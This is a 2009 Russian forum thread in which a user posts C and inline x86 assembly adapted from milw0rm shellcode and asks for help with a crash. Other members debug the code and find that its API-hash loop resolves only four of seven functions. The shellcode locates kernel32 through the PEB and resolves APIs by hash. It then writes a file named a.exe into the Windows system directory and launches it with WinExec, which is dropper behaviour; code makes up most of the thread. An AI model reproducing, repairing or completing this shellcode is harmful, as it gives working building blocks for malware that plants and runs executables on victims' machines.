shellcode. help plz, urgent!

Тема в разделе "WASM.ASSEMBLER", создана пользователем doneco, 18 сен 2009.

  1. doneco

    doneco New Member

    Публикаций:
    0
    Регистрация:
    18 сен 2009
    Сообщения:
    7
    Помогите плз

    в асембелере очен слабо разбираюсь, но очень надо написать.

    взял пример шелкодов от сюда
    http://milw0rm.com/shellcode/597
    http://milw0rm.com/shellcode/596

    Вот зделал переделку, шелкод все что должен делать создать файл.
    но при вызове CreateFileA
    не проходить нормальный адрес возврата.

    PLZ HELP!!!! Urgent!

    thnx

    Код (Text):
    1. #include <windows.h>
    2. #include <stdio.h>
    3.  
    4. #define PROC_BEGIN                     __asm _emit 0x90 __asm  _emit 0x90\
    5.                                        __asm _emit 0x90 __asm  _emit 0x90\
    6.                                        __asm _emit 0x90 __asm  _emit 0x90\
    7.                                        __asm _emit 0x90 __asm  _emit 0x90
    8. #define PROC_END                       PROC_BEGIN
    9. #define SEARCH_STR                     "\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    10. #define SEARCH_LEN                     8
    11. #define MAX_SC_LEN                     2048
    12. #define HASH_KEY                       13
    13.  
    14. #define ADDR_LoadLibraryA              [esi]
    15. #define ADDR_GetSystemDirectoryA       [esi+4]
    16. #define ADDR_WinExec                   [esi+8]
    17. #define ADDR_ExitProcess               [esi+12]
    18. #define ADDR_CreateFileA               [esi+16]
    19. #define ADDR_WriteFileA                [esi+20]
    20. #define ADDR_CloseHandle               [esi+24]
    21.  
    22.  
    23. // Need functions
    24. unsigned char functions[100][128] =        
    25. {                                           // [esi] stack layout
    26.     // kernel32 4                           // 00 kernel32.dll
    27.     {"LoadLibraryA"},                       //    [esi]
    28.     {"GetSystemDirectoryA"},                //    [esi+4]
    29.     {"WinExec"},                            //    [esi+8]      
    30.     {"ExitProcess"},                        //    [esi+12]
    31.     {"CreateFileA"},                        //    [esi+16]
    32.     {"WriteFileA"},                         //    [esi+20]
    33.     {"CloseHandle"},                        //    [esi+24]
    34.     {""},
    35. };
    36.    
    37. unsigned char  sc[1024] = {0};
    38. void    ShellCode();
    39.  
    40. static DWORD __stdcall GetHash ( char *c )
    41. {
    42.     DWORD h = 0;
    43.    
    44.     while ( *c ){
    45.         __asm ror h, HASH_KEY
    46.        
    47.         h += *c++;
    48.     }
    49.     return( h );
    50. }
    51.  
    52. void PrintSc(unsigned char *sc, int len)
    53. {
    54.     int    i,j;
    55.     char *p;
    56.     char msg[6];
    57.     for(i = 0; i < len; i++){
    58.         if((i%16)==0){
    59.             if(i!=0) printf("\"\n\"");
    60.             else printf("\"");
    61.         }
    62.         sprintf(msg, "\\x%.2X", sc[i] & 0xff);
    63.         for( p = msg, j=0; j < 4; p++, j++ ){
    64.             if(isupper(*p)) printf("%c", _tolower(*p));
    65.             else printf("%c", p[0]);
    66.         }
    67.     }
    68.     printf("\";\n");
    69. }
    70.  
    71.  
    72. void Make_ShellCode()
    73. {
    74.     unsigned char  *pSc_addr;
    75.     unsigned int   Sc_len;
    76.     unsigned long  dwHash[100];
    77.     unsigned int   dwHashSize;
    78.  
    79.     int i,j,k,l;
    80.    
    81.    
    82.     printf("[+] Get functions hash strings.\r\n");
    83.     for (i=0;;i++)
    84.     {
    85.         if (functions[i][0] == '\x0') break;
    86.         dwHash[i] = GetHash((char*)functions[i]);
    87.         printf("\t%.8X\t%s\n", dwHash[i], functions[i]);
    88.     }
    89.     dwHashSize = i*4;
    90.     pSc_addr = (unsigned char *)ShellCode;
    91.     for (k=0;k<MAX_SC_LEN;++k ){
    92.         if(memcmp(pSc_addr+k,SEARCH_STR, SEARCH_LEN)==0){
    93.             break;
    94.         }
    95.     }
    96.     pSc_addr+=(k+SEARCH_LEN);               // Start of the ShellCode
    97.    
    98.     for (k=0;k<MAX_SC_LEN;++k)
    99.     {
    100.         if(memcmp(pSc_addr+k,SEARCH_STR, SEARCH_LEN)==0) {
    101.             break;
    102.         }
    103.     }
    104.     Sc_len=k;
    105.     memcpy(sc, pSc_addr, Sc_len);
    106.  
    107.     memcpy(sc+Sc_len, (char *)dwHash, dwHashSize);
    108.     Sc_len += dwHashSize;
    109.  
    110.     printf("/* %d bytes shellcode */\r\n", Sc_len);
    111.     PrintSc((char*)sc, Sc_len);
    112. }
    113.  
    114. void main()
    115. {
    116.     DWORD    addr;
    117.     Make_ShellCode();
    118.     addr = (DWORD)&sc;
    119.     __asm
    120.     {
    121.         jmp addr
    122.     }
    123.     return;
    124. }
    125.  
    126. void ShellCode()
    127. {
    128.     __asm
    129.     {
    130.         PROC_BEGIN                          // C macro to begin proc
    131.         jmp     sc_end
    132.        
    133. sc_start:        
    134.         pop     edi                         // Hash string start addr (esp -> edi)
    135.         mov     eax, fs:0x30                // PEB
    136.         mov     eax, [eax+0x0c]             // PROCESS_MODULE_INFO
    137.         mov     esi, [eax+0x1c]             // InInitOrder.flink
    138.         lodsd                               // eax = InInitOrder.blink
    139.         mov     ebp, [eax+8]                // ebp = kernel32.dll base address
    140.         mov     esi, edi                    // Hash string start addr -> esi
    141.    
    142.         // Get function addr of kernel32
    143.         push    4
    144.         pop     ecx
    145.  
    146.     getkernel32:
    147.         call    GetProcAddress_fun
    148.         loop    getkernel32
    149.  
    150.        
    151. //LGetSystemDirectoryA:
    152.         sub     esp, 0x78
    153.         mov     ebx, esp
    154.        
    155.         push    0x64
    156.         push    ebx
    157.         call   ADDR_GetSystemDirectoryA     // GetSystemDirectoryA
    158.  
    159. //LCreateFileA
    160.         // eax = system path size
    161.         // ebx = address of %systemdir%
    162.         mov     dword ptr [ebx+eax], 0x652E615C           // "\a.e"
    163.         mov     dword ptr [ebx+eax+0x4], 0x00006578       // "xe"
    164.  
    165.         add esp, 0x0c
    166.         push    0x0
    167.         push    0x80
    168.         push    0x2
    169.         push    0x0
    170.         push    0x0
    171.         push    0x40000000
    172.         push    ebx
    173.         call    ADDR_CreateFileA     // CreateFileA
    174.  
    175.         mov eax, edx
    176.     push edx
    177.         call    ADDR_CloseHandle     // CreateFileA
    178.        
    179. //LWinExec:
    180.         mov     ebx, esp
    181.         mov eax, 0x5
    182.         push    eax
    183.         push    ebx
    184.         call    ADDR_WinExec                // WinExec(%systemdir%\a.exe);
    185.  
    186. Finished:
    187.         call    ADDR_ExitProcess            // ExitProcess();
    188.  
    189. GetProcAddress_fun:    
    190.         push    ecx
    191.         push    esi
    192.         mov     esi, [ebp+0x3C]             // e_lfanew
    193.         mov     esi, [esi+ebp+0x78]         // ExportDirectory RVA
    194.         add     esi, ebp                    // rva2va
    195.         push    esi
    196.         mov     esi, [esi+0x20]              // AddressOfNames RVA
    197.         add     esi, ebp                    // rva2va
    198.         xor     ecx, ecx
    199.         dec     ecx
    200.  
    201.     find_start:
    202.         inc     ecx
    203.         lodsd
    204.         add     eax, ebp
    205.         xor     ebx, ebx
    206.        
    207.     hash_loop:
    208.         movsx   edx, byte ptr [eax]
    209.         cmp     dl, dh
    210.         jz      short find_addr
    211.         ror     ebx, HASH_KEY               // hash key
    212.         add     ebx, edx
    213.         inc     eax
    214.         jmp     short hash_loop
    215.      
    216.     find_addr:
    217.         cmp     ebx, [edi]                  // compare to hash
    218.         jnz     short find_start
    219.         pop     esi                         // ExportDirectory
    220.         mov     ebx, [esi+0x24]             // AddressOfNameOrdinals RVA
    221.         add     ebx, ebp                    // rva2va
    222.         mov     cx, [ebx+ecx*2]             // FunctionOrdinal
    223.         mov     ebx, [esi+0x1C]             // AddressOfFunctions RVA
    224.         add     ebx, ebp                    // rva2va
    225.         mov     eax, [ebx+ecx*4]            // FunctionAddress RVA
    226.         add     eax, ebp                    // rva2va
    227.         stosd                               // function address save to [edi]
    228.        
    229.         pop     esi
    230.         pop     ecx
    231.         ret
    232.  
    233. sc_end:
    234.         call sc_start
    235.        
    236.         PROC_END                            //C macro to end proc
    237.     }
    238. }
     
  2. doneco

    doneco New Member

    Публикаций:
    0
    Регистрация:
    18 сен 2009
    Сообщения:
    7
    ну что, никто не может/не хочет помоч?

    тут должно быть все просто, я гдет или в стек чет не дописал, или с ebp, esp чтот не дописал.

    ПЛЗ!
     
  3. Treant

    Treant Member

    Публикаций:
    0
    Регистрация:
    24 май 2009
    Сообщения:
    248
    - я думаю, что ты испортил esp вот этим
     
  4. doneco

    doneco New Member

    Публикаций:
    0
    Регистрация:
    18 сен 2009
    Сообщения:
    7
    снкс, но без этого тоже не пашет. тамже происходит краш.
    хотя в CreateFileA передается все правильно, но адресс возврата функции не правильный, оно jmp вообше по левому адресу.
    хотя в премерах шелкодов, я никаких махинаций при вызове функция не заметил.
     
  5. doneco

    doneco New Member

    Публикаций:
    0
    Регистрация:
    18 сен 2009
    Сообщения:
    7
    0041120F call dword ptr [esi+10h]
    прыгает на адрес 7c0017a5,
    и там всеравно есть "add esp, 0x0c" или нету.
     
  6. Treant

    Treant Member

    Публикаций:
    0
    Регистрация:
    24 май 2009
    Сообщения:
    248
    тоже не понятно зачем попробуй заменить на
    Код (Text):
    1. mov ebx, esp
    2. sub ebx, 0x78
     
  7. Treant

    Treant Member

    Публикаций:
    0
    Регистрация:
    24 май 2009
    Сообщения:
    248
    Тут какая то муть со стеком в него как будто записывается что то функцией getsystemdirectory
    и все манипуляции со стеком изза этого кажется
     
  8. doneco

    doneco New Member

    Публикаций:
    0
    Регистрация:
    18 сен 2009
    Сообщения:
    7
    вот дизасм такого кода написаного на С

    PUSH EBP
    MOV EBP,ESP
    SUB ESP,78
    PUSH 64 ; /BufSize = 64 (100.)
    LEA EAX,DWORD PTR SS:[EBP-70] ; |
    PUSH EAX ; |Buffer
    CALL DWORD PTR DS:[<&KERNEL32.GetSystemD>; \GetSystemDirectoryA
    MOV DWORD PTR SS:[EBP-78],EAX
    MOV DWORD PTR SS:[EBP-74],652E615C
    PUSH 4
    LEA ECX,DWORD PTR SS:[EBP-74]
    PUSH ECX
    MOV EDX,DWORD PTR SS:[EBP-78]
    LEA EAX,DWORD PTR SS:[EBP+EDX-70]
    PUSH EAX
    CALL 1.00401080
    ADD ESP,0C
    MOV DWORD PTR SS:[EBP-74],6578
    PUSH 4
    LEA ECX,DWORD PTR SS:[EBP-74]
    PUSH ECX
    MOV EDX,DWORD PTR SS:[EBP-78]
    LEA EAX,DWORD PTR SS:[EBP+EDX-6C]
    PUSH EAX
    CALL 1.00401080
    ADD ESP,0C
    PUSH 0 ; /hTemplateFile = NULL
    PUSH 80 ; |Attributes = NORMAL
    PUSH 2 ; |Mode = CREATE_ALWAYS
    PUSH 0 ; |pSecurity = NULL
    PUSH 0 ; |ShareMode = 0
    PUSH 40000000 ; |Access = GENERIC_WRITE
    LEA ECX,DWORD PTR SS:[EBP-70] ; |
    PUSH ECX ; |FileName
    CALL DWORD PTR DS:[<&KERNEL32.CreateFile>; \CreateFileA
    MOV DWORD PTR SS:[EBP-4],EAX
    MOV EDX,DWORD PTR SS:[EBP-4]
    PUSH EDX ; /hObject
    CALL DWORD PTR DS:[<&KERNEL32.CloseHandl>; \CloseHandle
    XOR EAX,EAX
    MOV ESP,EBP
    POP EBP
    RETN
     
  9. doneco

    doneco New Member

    Публикаций:
    0
    Регистрация:
    18 сен 2009
    Сообщения:
    7
    то что в стеке проблема понятно, сбивается адрес возврата.
    только непонятко как его правильно зделать =(
     
  10. Treant

    Treant Member

    Публикаций:
    0
    Регистрация:
    24 май 2009
    Сообщения:
    248
    ADD ESP,0C
    этот код переведет указатель стека вперед
    значит если дальше push и call правильно расставлены ret вернется на инструкцию после вызова CreateFileA Вот так я думаю
    И думаю что в CreateFileA что то не то передается
    Вот что я думаю не так:
    Функция принимает DWORD и прочее
    и я думаю что асм не преобразует твои простые числа в числа определенной длины... ну там dword и прочее, думаю что тебе нужно указать размер переменных которые ты передаешь в функцию
     
  11. doneco

    doneco New Member

    Публикаций:
    0
    Регистрация:
    18 сен 2009
    Сообщения:
    7
    там все правильно передается, двор=4б и хандле тоже
     
  12. intel_x128

    intel_x128 New Member

    Публикаций:
    0
    Регистрация:
    17 май 2009
    Сообщения:
    345
    doneco
    Иди отдохни. На свежую голову продолжишь кодинг.

    PS:

    Код (Text):
    1. unsigned char functions[100][128] =        
    2. {                                           // [esi] stack layout
    3.     // kernel32 4                           // 00 kernel32.dll
    4.     {"LoadLibraryA"},                       //    [esi]
    5.     {"GetSystemDirectoryA"},                //    [esi+4]
    6.     {"WinExec"},                            //    [esi+8]      
    7.     {"ExitProcess"},                        //    [esi+12]
    8.     {"CreateFileA"},                        //    [esi+16]
    9.     {"WriteFileA"},                         //    [esi+20]
    10.     {"CloseHandle"},                        //    [esi+24]
    11.     {""},
    12. };
    Я тут насчитал 7 функций.


    А вот тут находим только 4 первые. До CreateFileA недоходим.
    В ячейке, вместо адреса лежит ХЕШ. равный 0x7C00175A
     
  13. intel_x128

    intel_x128 New Member

    Публикаций:
    0
    Регистрация:
    17 май 2009
    Сообщения:
    345
    [​IMG]

    Сам же вывел хеши в консоль.
    Исходя из простой логики:
    1. если вместо адреса - хеш, значит проблема в процедуре поиска АПИ
    2. Если первые 4 апи анйдены правильно, значит проблема:
    а) в имени апи
    б) в счетчике
     
  14. intel_x128

    intel_x128 New Member

    Публикаций:
    0
    Регистрация:
    17 май 2009
    Сообщения:
    345
    Посмотрел шелкод в оригинале. Автору за такой шедевр нужно гвоздь в голову вбить.
    Нечитабельный гуан.